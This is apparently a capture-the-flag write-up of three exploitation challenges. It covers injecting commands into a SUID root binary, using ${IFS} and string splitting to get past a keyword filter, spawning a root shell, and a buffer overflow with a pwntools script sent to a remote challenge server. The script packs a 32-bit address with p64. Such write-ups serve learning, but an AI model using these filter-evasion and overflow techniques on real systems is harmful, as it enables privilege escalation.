File It Away (Pwn)
Inject it Now
There is a gdc_exec
binary on the server. It has SUID permissions and runs as root.
We can use the tail
command to read the gdc_exec.c
source code. Essentially, it runs system(argv[1])
with a few restrictions:
strstr()
checks for the substringssh
,cat
,flag
andtmp
.Argument to
gdc_exec
cannot have spaces.Command will be run from the directory
/tmp
.The
PATH
is set to an invalid directory.
The ${IFS}
value evaluates to a space character by default. Hence, ${IFS}
can be used to replace spaces in the argument.
You can use export
to change the PATH back to /bin
.
/gdc_exec "export\${IFS}PATH='/bin'\${IFS}&&export"
export HOME='/root'
export HOSTNAME='a036d9204996'
export PATH='/bin'
export PWD='/'
export REMOTE_HOST='115.66.195.39'
Final payload, using string concatenation to bypass the strstr()
check.
/gdc_exec "export\${IFS}PATH='/bin'\${IFS}&&cmd=\"tail\${IFS}fl\"&&cmd2=\"ag\"&&cmd3=\"\$cmd\$cmd2\"&&\$cmd3"
CDDC21{You_Wi11_n3ver_st0p_u$}
Length Matters
This is the same challenge, except gdc_exec
now uses strncpy()
to copy only the first 3 characters of argv[1]
to the command to be executed. We could simply use sh
to spawn a shell, then cat
the flag from the elevated shell.
/gdc_exec sh
cat flag
CDDC21{0nly_thr33_ch@rs??}
Change Direction
This is a classic buffer overflow challenge, with a win function at flag
.
[0x08048400]> afl
0x08048400 1 33 entry0
0x080483f0 1 6 sym.imp.__libc_start_main
0x08048440 4 42 sym.deregister_tm_clones
0x08048470 4 55 sym.register_tm_clones
0x080484b0 3 30 sym.__do_global_dtors_aux
0x080484d0 4 45 -> 44 entry.init0
0x080485e0 1 2 sym.__libc_csu_fini
0x08048430 1 4 sym.__x86.get_pc_thunk.bx
0x080485e4 1 20 sym._fini
0x0804851b 1 20 sym.notaflag
0x080483c0 1 6 sym.imp.system
0x08048570 4 97 sym.__libc_csu_init
0x0804852f 1 64 main
0x080483a0 1 6 sym.imp.printf
0x080483b0 1 6 sym.imp.fflush
0x08048390 1 6 sym.imp.read
0x080484fd 1 30 sym.flag
0x080483e0 1 6 sym.imp.exit
0x08048358 3 35 sym._init
0x080483d0 1 6 loc.imp.__gmon_start__
[0x08048400]>
The win function is at 0x080484fd.
Using the msf-pattern_create
cyclic payload, we can overflow the buffer and inspect the EIP value after the binary crashes.
gef➤ info frame
Stack level 0, frame at 0xffffd1a4:
eip = 0x63413563; saved eip = 0x37634136
called by frame at 0xffffd1a8
Arglist at 0xffffd19c, args:
Locals at 0xffffd19c, Previous frame's sp is 0xffffd1a4
Saved registers:
eip at 0xffffd1a0
Looks like the offset to overwrite the EIP is 76.
└─$ msf-pattern_offset -q 0x37634136
[*] Exact match at offset 80
└─$ msf-pattern_offset -q 0x63413563
[*] Exact match at offset 76
Using a solver script, we can then send the payload to the remote server and obtain the flag.
from pwn import *
ret = 0x080484fd
offset = 76
payload = b""
payload += b"A" * offset
payload += p64(ret)
print(payload)
with open('payload', 'wb') as f:
f.write(payload)
conn = remote('13.213.195.207', 60130)
print(conn.recv())
conn.send(payload + b"\n")
print(conn.recv())
conn.close()
Last updated
Was this helpful?